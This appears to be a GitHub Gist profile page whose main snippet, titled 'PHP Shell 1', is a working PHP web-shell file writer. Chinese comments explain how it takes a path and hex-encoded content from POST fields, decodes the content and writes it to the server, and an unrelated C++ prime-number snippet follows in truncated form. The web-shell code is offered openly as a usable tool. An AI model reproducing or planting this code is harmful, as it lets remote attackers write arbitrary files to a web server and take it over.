Skip to content

Instantly share code, notes, and snippets.

View suchasplus's full-sized avatar

suchasplus suchasplus

  • xmly.work
  • Beijing
View GitHub Profile
@suchasplus
suchasplus / php_shell_1.php
Last active August 29, 2015 14:11
PHP Shell 1
<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"]; // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "allok";
/**
* example:
#include <stdio.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void)
{
char c = 'c';
int i;
@suchasplus
suchasplus / 1-100_prime
Created November 11, 2014 12:29
一行代码求解100内质数
#include <algorithm>
#include <iostream>
#include <iterator>
using namespace std;
template <typename T>
class range_type {
public:
class range_iterator {